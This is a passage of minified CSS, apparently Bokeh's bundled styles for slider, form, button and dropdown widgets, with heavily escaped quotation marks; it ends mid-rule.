.bk-noUi-target{background:#fafafa;border-radius:4px;border:1px solid #d3d3d3;box-shadow:inset 0 1px 1px #f0f0f0,0 3px 6px -5px #BBB}.bk-root .bk-noUi-connect{background:#3fb8af;border-radius:4px;box-shadow:inset 0 0 3px rgba(51,51,51,0.45);-webkit-transition:background 450ms;transition:background 450ms}.bk-root .bk-noUi-draggable{cursor:ew-resize}.bk-root .bk-noUi-vertical .bk-noUi-draggable{cursor:ns-resize}.bk-root .bk-noUi-handle{border:1px solid #d9d9d9;border-radius:3px;background:#FFF;cursor:default;box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #ebebeb,0 3px 6px -3px #BBB}.bk-root .bk-noUi-active{box-shadow:inset 0 0 1px #FFF,inset 0 1px 7px #DDD,0 3px 6px -3px #BBB}.bk-root .bk-noUi-handle:before,.bk-root .bk-noUi-handle:after{content:\\\\\\\"\\\\\\\";display:block;position:absolute;height:14px;width:1px;background:#e8e7e6;left:14px;top:6px}.bk-root .bk-noUi-handle:after{left:17px}.bk-root .bk-noUi-vertical .bk-noUi-handle:before,.bk-root .bk-noUi-vertical .bk-noUi-handle:after{width:14px;height:1px;left:6px;top:14px}.bk-root .bk-noUi-vertical .bk-noUi-handle:after{top:17px}.bk-root [disabled] .bk-noUi-connect{background:#b8b8b8}.bk-root [disabled].bk-noUi-target,.bk-root [disabled].bk-noUi-handle,.bk-root [disabled] .bk-noUi-handle{cursor:not-allowed}.bk-root .bk-noUi-pips,.bk-root .bk-noUi-pips *{-moz-box-sizing:border-box;box-sizing:border-box}.bk-root .bk-noUi-pips{position:absolute;color:#999}.bk-root .bk-noUi-value{position:absolute;white-space:nowrap;text-align:center}.bk-root .bk-noUi-value-sub{color:#ccc;font-size:10px}.bk-root .bk-noUi-marker{position:absolute;background:#CCC}.bk-root .bk-noUi-marker-sub{background:#AAA}.bk-root .bk-noUi-marker-large{background:#AAA}.bk-root .bk-noUi-pips-horizontal{padding:10px 0;height:80px;top:100%;left:0;width:100%}.bk-root .bk-noUi-value-horizontal{-webkit-transform:translate3d(-50%,50%,0);transform:translate3d(-50%,50%,0)}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker{margin-left:-1px;width:2px;height:5px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-sub{height:10px}.bk-root .bk-noUi-marker-horizontal.bk-noUi-marker-large{height:15px}.bk-root .bk-noUi-pips-vertical{padding:0 10px;height:100%;top:0;left:100%}.bk-root .bk-noUi-value-vertical{-webkit-transform:translate3d(0,50%,0);transform:translate3d(0,50%,0);padding-left:25px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker{width:5px;height:2px;margin-top:-1px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-sub{width:10px}.bk-root .bk-noUi-marker-vertical.bk-noUi-marker-large{width:15px}.bk-root .bk-noUi-tooltip{display:block;position:absolute;border:1px solid #d9d9d9;border-radius:3px;background:#fff;color:#000;padding:5px;text-align:center;white-space:nowrap}.bk-root .bk-noUi-horizontal .bk-noUi-tooltip{-webkit-transform:translate(-50%,0);transform:translate(-50%,0);left:50%;bottom:120%}.bk-root .bk-noUi-vertical .bk-noUi-tooltip{-webkit-transform:translate(0,-50%);transform:translate(0,-50%);top:50%;right:120%}.bk-root .bk-noUi-handle{cursor:grab;cursor:-webkit-grab}.bk-root .bk-noUi-handle.bk-noUi-active{cursor:grabbing;cursor:-webkit-grabbing}.bk-root .bk-noUi-tooltip{display:none;white-space:nowrap}.bk-root .bk-noUi-handle:hover .bk-noUi-tooltip{display:block}.bk-root .bk-noUi-horizontal{width:100%;height:10px}.bk-root .bk-noUi-horizontal .bk-noUi-handle{width:14px;height:18px;left:-7px;top:-5px}.bk-root .bk-noUi-vertical{width:10px;height:100%}.bk-root .bk-noUi-vertical .bk-noUi-handle{width:18px;height:14px;left:-5px;top:-7px}.bk-root .bk-noUi-handle:after,.bk-root .bk-noUi-handle:before{display:none}.bk-root .bk-noUi-connect{box-shadow:none}.bk-root fieldset{padding:0;margin:0;border:0;min-width:0}.bk-root legend{display:block;width:100%;padding:0;margin-bottom:17px;line-height:inherit;color:#333;border:0;border-bottom:1px solid #e5e5e5}.bk-root label{display:inline-block;margin-bottom:5px}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}.bk-root input[type=\\\\\\\"radio\\\\\\\"],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]{margin:4px 0 0;margin-top:1px \\\\\\\\9;line-height:normal}.bk-root input[type=\\\\\\\"file\\\\\\\"]{display:block}.bk-root input[type=\\\\\\\"range\\\\\\\"]{display:block;width:100%}.bk-root select[multiple],.bk-root select[size]{height:auto}.bk-root input[type=\\\\\\\"file\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"radio\\\\\\\"]:focus,.bk-root input[type=\\\\\\\"checkbox\\\\\\\"]:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root output{display:block;padding-top:7px;line-height:1.42857143;color:#555}.bk-root .bk-bs-form-control{display:block;height:31px;padding:0 12px;background-color:#fff;background-image:none;border:1px solid #ccc;border-radius:4px}.bk-root .bk-bs-form-control:focus{border-color:#66afe9;outline:0;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(102,175,233,0.6)}.bk-root .bk-bs-form-control::-moz-placeholder{color:#999;opacity:1}.bk-root .bk-bs-form-control:-ms-input-placeholder{color:#999}.bk-root .bk-bs-form-control::-webkit-input-placeholder{color:#999}.bk-root .bk-bs-form-control[disabled],.bk-root .bk-bs-form-control[readonly],fieldset[disabled] .bk-root .bk-bs-form-control{cursor:not-allowed;background-color:#eee;opacity:1}textarea.bk-root .bk-bs-form-control{height:auto}.bk-root input[type=\\\\\\\"search\\\\\\\"]{-webkit-appearance:none}.bk-root input[type=\\\\\\\"date\\\\\\\"]{line-height:31px}.bk-root .bk-bs-form-group{margin-bottom:15px}.bk-root .bk-bs-radio,.bk-root .bk-bs-checkbox{display:block;min-height:17px;margin-top:10px;margin-bottom:10px;padding-left:20px}.bk-root .bk-bs-radio label,.bk-root .bk-bs-checkbox label{display:inline;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-radio-inline input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"],.bk-root .bk-bs-checkbox-inline input[type=\\\\\\\"checkbox\\\\\\\"]{float:left;margin-left:-20px}.bk-root .bk-bs-radio+.bk-bs-radio,.bk-root .bk-bs-checkbox+.bk-bs-checkbox{margin-top:-5px}.bk-root .bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline{display:inline-block;padding-left:20px;margin-bottom:0;vertical-align:middle;font-weight:normal;cursor:pointer}.bk-root .bk-bs-radio-inline+.bk-bs-radio-inline,.bk-root .bk-bs-checkbox-inline+.bk-bs-checkbox-inline{margin-top:0;margin-left:10px}.bk-root input[type=\\\\\\\"radio\\\\\\\"][disabled],.bk-root input[type=\\\\\\\"checkbox\\\\\\\"][disabled],.bk-root .bk-bs-radio[disabled],.bk-root .bk-bs-radio-inline[disabled],.bk-root .bk-bs-checkbox[disabled],.bk-root .bk-bs-checkbox-inline[disabled],fieldset[disabled] .bk-root input[type=\\\\\\\"radio\\\\\\\"],fieldset[disabled] .bk-root input[type=\\\\\\\"checkbox\\\\\\\"],fieldset[disabled] .bk-root .bk-bs-radio,fieldset[disabled] .bk-root .bk-bs-radio-inline,fieldset[disabled] .bk-root .bk-bs-checkbox,fieldset[disabled] .bk-root .bk-bs-checkbox-inline{cursor:not-allowed}.bk-root .bk-bs-input-sm{height:28px;padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}select.bk-root .bk-bs-input-sm{height:28px;line-height:28px}textarea.bk-root .bk-bs-input-sm,select[multiple].bk-root .bk-bs-input-sm{height:auto}.bk-root .bk-bs-input-lg{height:42px;padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}select.bk-root .bk-bs-input-lg{height:42px;line-height:42px}textarea.bk-root .bk-bs-input-lg,select[multiple].bk-root .bk-bs-input-lg{height:auto}.bk-root .bk-bs-has-feedback{position:relative}.bk-root .bk-bs-has-feedback .bk-bs-form-control{padding-right:38.75px}.bk-root .bk-bs-has-feedback .bk-bs-form-control-feedback{position:absolute;top:22px;right:0;display:block;width:31px;height:31px;line-height:31px;text-align:center}.bk-root .bk-bs-has-success .bk-bs-help-block,.bk-root .bk-bs-has-success .bk-bs-control-label,.bk-root .bk-bs-has-success .bk-bs-radio,.bk-root .bk-bs-has-success .bk-bs-checkbox,.bk-root .bk-bs-has-success .bk-bs-radio-inline,.bk-root .bk-bs-has-success .bk-bs-checkbox-inline{color:#3c763d}.bk-root .bk-bs-has-success .bk-bs-form-control{border-color:#3c763d;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-success .bk-bs-form-control:focus{border-color:#2b542c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #67b168}.bk-root .bk-bs-has-success .bk-bs-input-group-addon{color:#3c763d;border-color:#3c763d;background-color:#dff0d8}.bk-root .bk-bs-has-success .bk-bs-form-control-feedback{color:#3c763d}.bk-root .bk-bs-has-warning .bk-bs-help-block,.bk-root .bk-bs-has-warning .bk-bs-control-label,.bk-root .bk-bs-has-warning .bk-bs-radio,.bk-root .bk-bs-has-warning .bk-bs-checkbox,.bk-root .bk-bs-has-warning .bk-bs-radio-inline,.bk-root .bk-bs-has-warning .bk-bs-checkbox-inline{color:#8a6d3b}.bk-root .bk-bs-has-warning .bk-bs-form-control{border-color:#8a6d3b;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-warning .bk-bs-form-control:focus{border-color:#66512c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #c0a16b}.bk-root .bk-bs-has-warning .bk-bs-input-group-addon{color:#8a6d3b;border-color:#8a6d3b;background-color:#fcf8e3}.bk-root .bk-bs-has-warning .bk-bs-form-control-feedback{color:#8a6d3b}.bk-root .bk-bs-has-error .bk-bs-help-block,.bk-root .bk-bs-has-error .bk-bs-control-label,.bk-root .bk-bs-has-error .bk-bs-radio,.bk-root .bk-bs-has-error .bk-bs-checkbox,.bk-root .bk-bs-has-error .bk-bs-radio-inline,.bk-root .bk-bs-has-error .bk-bs-checkbox-inline{color:#a94442}.bk-root .bk-bs-has-error .bk-bs-form-control{border-color:#a94442;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.bk-root .bk-bs-has-error .bk-bs-form-control:focus{border-color:#843534;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483;box-shadow:inset 0 1px 1px rgba(0,0,0,0.075),0 0 6px #ce8483}.bk-root .bk-bs-has-error .bk-bs-input-group-addon{color:#a94442;border-color:#a94442;background-color:#f2dede}.bk-root .bk-bs-has-error .bk-bs-form-control-feedback{color:#a94442}.bk-root .bk-bs-form-control-static{margin-bottom:0}.bk-root .bk-bs-help-block{display:block;margin-top:5px;margin-bottom:10px;color:#737373}@media(min-width:768px){.bk-root .bk-bs-form-inline .bk-bs-form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-form-control{display:inline-block;width:auto;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-input-group>.bk-bs-form-control{width:100%}.bk-root .bk-bs-form-inline .bk-bs-control-label{margin-bottom:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio,.bk-root .bk-bs-form-inline .bk-bs-checkbox{display:inline-block;margin-top:0;margin-bottom:0;padding-left:0;vertical-align:middle}.bk-root .bk-bs-form-inline .bk-bs-radio input[type=\\\\\\\"radio\\\\\\\"],.bk-root .bk-bs-form-inline .bk-bs-checkbox input[type=\\\\\\\"checkbox\\\\\\\"]{float:none;margin-left:0}.bk-root .bk-bs-form-inline .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0}}.bk-root .bk-bs-form-horizontal .bk-bs-control-label,.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox,.bk-root .bk-bs-form-horizontal .bk-bs-radio-inline,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox-inline{margin-top:0;margin-bottom:0;padding-top:7px}.bk-root .bk-bs-form-horizontal .bk-bs-radio,.bk-root .bk-bs-form-horizontal .bk-bs-checkbox{min-height:24px}.bk-root .bk-bs-form-horizontal .bk-bs-form-group{margin-left:-15px;margin-right:-15px}.bk-root .bk-bs-form-horizontal .bk-bs-form-control-static{padding-top:7px}@media(min-width:768px){.bk-root .bk-bs-form-horizontal .bk-bs-control-label{text-align:right}}.bk-root .bk-bs-form-horizontal .bk-bs-has-feedback .bk-bs-form-control-feedback{top:0;right:15px}.bk-root .bk-bs-btn{display:inline-block;margin-bottom:0;font-weight:normal;text-align:center;vertical-align:middle;cursor:pointer;background-image:none;border:1px solid transparent;white-space:nowrap;padding:6px 12px;font-size:12px;line-height:1.42857143;border-radius:4px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.bk-root .bk-bs-btn:focus,.bk-root .bk-bs-btn:active:focus,.bk-root .bk-bs-btn.bk-bs-active:focus{outline:thin dotted;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.bk-root .bk-bs-btn:hover,.bk-root .bk-bs-btn:focus{color:#333;text-decoration:none}.bk-root .bk-bs-btn:active,.bk-root .bk-bs-btn.bk-bs-active{outline:0;background-image:none;-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,0.125);box-shadow:inset 0 3px 5px rgba(0,0,0,0.125)}.bk-root .bk-bs-btn.bk-bs-disabled,.bk-root .bk-bs-btn[disabled],fieldset[disabled] .bk-root .bk-bs-btn{cursor:not-allowed;pointer-events:none;opacity:.65;filter:alpha(opacity=65);-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-default{color:#333;background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{color:#333;background-color:#ebebeb;border-color:#adadad}.bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-default{background-image:none}.bk-root .bk-bs-btn-default.bk-bs-disabled,.bk-root .bk-bs-btn-default[disabled],fieldset[disabled] .bk-root .bk-bs-btn-default,.bk-root .bk-bs-btn-default.bk-bs-disabled:hover,.bk-root .bk-bs-btn-default[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-default:hover,.bk-root .bk-bs-btn-default.bk-bs-disabled:focus,.bk-root .bk-bs-btn-default[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-default:focus,.bk-root .bk-bs-btn-default.bk-bs-disabled:active,.bk-root .bk-bs-btn-default[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-default:active,.bk-root .bk-bs-btn-default.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-default[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-default.bk-bs-active{background-color:#fff;border-color:#ccc}.bk-root .bk-bs-btn-default .bk-bs-badge{color:#fff;background-color:#333}.bk-root .bk-bs-btn-primary{color:#fff;background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{color:#fff;background-color:#3276b1;border-color:#285e8e}.bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-primary{background-image:none}.bk-root .bk-bs-btn-primary.bk-bs-disabled,.bk-root .bk-bs-btn-primary[disabled],fieldset[disabled] .bk-root .bk-bs-btn-primary,.bk-root .bk-bs-btn-primary.bk-bs-disabled:hover,.bk-root .bk-bs-btn-primary[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-primary:hover,.bk-root .bk-bs-btn-primary.bk-bs-disabled:focus,.bk-root .bk-bs-btn-primary[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-primary:focus,.bk-root .bk-bs-btn-primary.bk-bs-disabled:active,.bk-root .bk-bs-btn-primary[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-primary:active,.bk-root .bk-bs-btn-primary.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-primary[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-primary.bk-bs-active{background-color:#428bca;border-color:#357ebd}.bk-root .bk-bs-btn-primary .bk-bs-badge{color:#428bca;background-color:#fff}.bk-root .bk-bs-btn-success{color:#fff;background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{color:#fff;background-color:#47a447;border-color:#398439}.bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-success{background-image:none}.bk-root .bk-bs-btn-success.bk-bs-disabled,.bk-root .bk-bs-btn-success[disabled],fieldset[disabled] .bk-root .bk-bs-btn-success,.bk-root .bk-bs-btn-success.bk-bs-disabled:hover,.bk-root .bk-bs-btn-success[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-success:hover,.bk-root .bk-bs-btn-success.bk-bs-disabled:focus,.bk-root .bk-bs-btn-success[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-success:focus,.bk-root .bk-bs-btn-success.bk-bs-disabled:active,.bk-root .bk-bs-btn-success[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-success:active,.bk-root .bk-bs-btn-success.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-success[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-success.bk-bs-active{background-color:#5cb85c;border-color:#4cae4c}.bk-root .bk-bs-btn-success .bk-bs-badge{color:#5cb85c;background-color:#fff}.bk-root .bk-bs-btn-info{color:#fff;background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{color:#fff;background-color:#39b3d7;border-color:#269abc}.bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-info{background-image:none}.bk-root .bk-bs-btn-info.bk-bs-disabled,.bk-root .bk-bs-btn-info[disabled],fieldset[disabled] .bk-root .bk-bs-btn-info,.bk-root .bk-bs-btn-info.bk-bs-disabled:hover,.bk-root .bk-bs-btn-info[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-info:hover,.bk-root .bk-bs-btn-info.bk-bs-disabled:focus,.bk-root .bk-bs-btn-info[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-info:focus,.bk-root .bk-bs-btn-info.bk-bs-disabled:active,.bk-root .bk-bs-btn-info[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-info:active,.bk-root .bk-bs-btn-info.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-info[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-info.bk-bs-active{background-color:#5bc0de;border-color:#46b8da}.bk-root .bk-bs-btn-info .bk-bs-badge{color:#5bc0de;background-color:#fff}.bk-root .bk-bs-btn-warning{color:#fff;background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{color:#fff;background-color:#ed9c28;border-color:#d58512}.bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-warning{background-image:none}.bk-root .bk-bs-btn-warning.bk-bs-disabled,.bk-root .bk-bs-btn-warning[disabled],fieldset[disabled] .bk-root .bk-bs-btn-warning,.bk-root .bk-bs-btn-warning.bk-bs-disabled:hover,.bk-root .bk-bs-btn-warning[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-warning:hover,.bk-root .bk-bs-btn-warning.bk-bs-disabled:focus,.bk-root .bk-bs-btn-warning[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-warning:focus,.bk-root .bk-bs-btn-warning.bk-bs-disabled:active,.bk-root .bk-bs-btn-warning[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-warning:active,.bk-root .bk-bs-btn-warning.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-warning[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-warning.bk-bs-active{background-color:#f0ad4e;border-color:#eea236}.bk-root .bk-bs-btn-warning .bk-bs-badge{color:#f0ad4e;background-color:#fff}.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{color:#fff;background-color:#d2322d;border-color:#ac2925}.bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-active,.bk-bs-open .bk-bs-dropdown-toggle.bk-root .bk-bs-btn-danger{background-image:none}.bk-root .bk-bs-btn-danger.bk-bs-disabled,.bk-root .bk-bs-btn-danger[disabled],fieldset[disabled] .bk-root .bk-bs-btn-danger,.bk-root .bk-bs-btn-danger.bk-bs-disabled:hover,.bk-root .bk-bs-btn-danger[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-danger:hover,.bk-root .bk-bs-btn-danger.bk-bs-disabled:focus,.bk-root .bk-bs-btn-danger[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-danger:focus,.bk-root .bk-bs-btn-danger.bk-bs-disabled:active,.bk-root .bk-bs-btn-danger[disabled]:active,fieldset[disabled] .bk-root .bk-bs-btn-danger:active,.bk-root .bk-bs-btn-danger.bk-bs-disabled.bk-bs-active,.bk-root .bk-bs-btn-danger[disabled].bk-bs-active,fieldset[disabled] .bk-root .bk-bs-btn-danger.bk-bs-active{background-color:#d9534f;border-color:#d43f3a}.bk-root .bk-bs-btn-danger .bk-bs-badge{color:#d9534f;background-color:#fff}.bk-root .bk-bs-btn-link{color:#428bca;font-weight:normal;cursor:pointer;border-radius:0}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:active,.bk-root .bk-bs-btn-link[disabled],fieldset[disabled] .bk-root .bk-bs-btn-link{background-color:transparent;-webkit-box-shadow:none;box-shadow:none}.bk-root .bk-bs-btn-link,.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus,.bk-root .bk-bs-btn-link:active{border-color:transparent}.bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link:focus{color:#2a6496;text-decoration:underline;background-color:transparent}.bk-root .bk-bs-btn-link[disabled]:hover,fieldset[disabled] .bk-root .bk-bs-btn-link:hover,.bk-root .bk-bs-btn-link[disabled]:focus,fieldset[disabled] .bk-root .bk-bs-btn-link:focus{color:#999;text-decoration:none}.bk-root .bk-bs-btn-lg{padding:10px 16px;font-size:15px;line-height:1.33;border-radius:6px}.bk-root .bk-bs-btn-sm{padding:5px 10px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-xs{padding:1px 5px;font-size:11px;line-height:1.5;border-radius:3px}.bk-root .bk-bs-btn-block{display:block;width:100%;padding-left:0;padding-right:0}.bk-root .bk-bs-btn-block+.bk-bs-btn-block{margin-top:5px}.bk-root input[type=\\\\\\\"submit\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"reset\\\\\\\"].bk-bs-btn-block,.bk-root input[type=\\\\\\\"button\\\\\\\"].bk-bs-btn-block{width:100%}.bk-root .bk-bs-caret{display:inline-block;width:0;height:0;margin-left:2px;vertical-align:middle;border-top:4px solid;border-right:4px solid transparent;border-left:4px solid transparent}.bk-root .bk-bs-dropdown{position:relative}.bk-root .bk-bs-dropdown-toggle:focus{outline:0}.bk-root .bk-bs-dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:160px;padding:5px 0;margin:2px 0 0;list-style:none;font-size:12px;background-color:#fff;border:1px solid #ccc;border:1px solid rgba(0,0,0,0.15);border-radius:4px;-webkit-box-shadow:0 6px 12px rgba(0,0,0,0.175);box-shadow:0 6px 12px rgba(0,0,0,0.175);background-clip:padding-box}.bk-root .bk-bs-dropdown-menu.bk-bs-pull-right{right:0;left:auto}.bk-root .bk-bs-dropdown-menu .bk-bs-divider{height:1px;margin:7.5px 0;overflow:hidden;background-color:#e5e5e5}.bk-root .bk-bs-dropdown-menu>li>a{display:block;padding:3px 20px;clear:both;font-weight:normal;line-height:1.42857143;color:#333;white-space:nowrap}.bk-root .bk-bs-dropdown-menu>li>a:hover,.bk-root .bk-bs-dropdown-menu>li>a:focus{text-decoration:none;color:#262626;background-color:#f5f5f5}.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-active>a:focus{color:#fff;text-decoration:none;outline:0;background-color:#428bca}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{color:#999}.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:hover,.bk-root .bk-bs-dropdown-menu>.bk-bs-disabled>a:focus{text-decoration:none;background-color:transparent;background-image:none;filter:progid:DXImageTransform.bk-bs-Microsoft.bk-bs-gradient(enabled = false);cursor:not-allowed}.bk-root .bk-bs-open>.bk-bs-dropdown-menu{display:block}.bk-root .bk-bs-open>a{outline:0}.bk-root .bk-bs-dropdown-menu-right{left:auto;right:0}.bk-root .bk-bs-dropdown-menu-left{left:0;right:auto}.bk-root .bk-bs-dropdown-header{display:block;padding:3px 20px;font-size:11px;line-height:1.42857143;color:#999}.bk-root .bk-bs-dropdown-backdrop{position:fixed;left:0;right:0;bottom:0;top:0;z-index:990}.bk-root .bk-bs-pull-right>.bk-bs-dropdown-menu{right:0;left:auto}.bk-root .bk-bs-dropup .bk-bs-caret,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-caret{border-top:0;border-bottom:4px solid;content:\\\\\\\"\\\\\\\"}.bk-root .bk-bs-dropup .bk-bs-dropdown-menu,.bk-root .bk-bs-navbar-fixed-bottom .bk-bs-dropdown .bk-bs-dropdown-menu{top:auto;bottom:100%;margin-bottom:1px}@media(min-width:768px){.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu{left:auto;right:0}.bk-root .bk-bs-navbar-right .bk-bs-dropdown-menu-left{left:0;right:auto}}.bk-root .bk-bs-btn-group,.bk-root .bk-bs-btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.bk-root .bk-bs-btn-group>.bk-bs-btn,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn{position:relative;float:left}.bk-root .bk-bs-btn-group>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:hover,.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group>.bk-bs-btn:active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:active,.bk-root .bk-bs-btn-group>.bk-bs-btn.bk-bs-active,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn.bk-bs-active{z-index:2}.bk-root .bk-bs-btn-group>.bk-bs-btn:focus,.bk-root .bk-bs-btn-group-vertical>.bk-bs-btn:focus{outline:0}.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn+.bk-bs-btn-group,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn,.bk-root .bk-bs-btn-group .bk-bs-btn-group+.bk-bs-btn-group{margin-left:-1px}.bk-root .bk-bs-btn-toolbar{margin-left:-5px}.bk-root 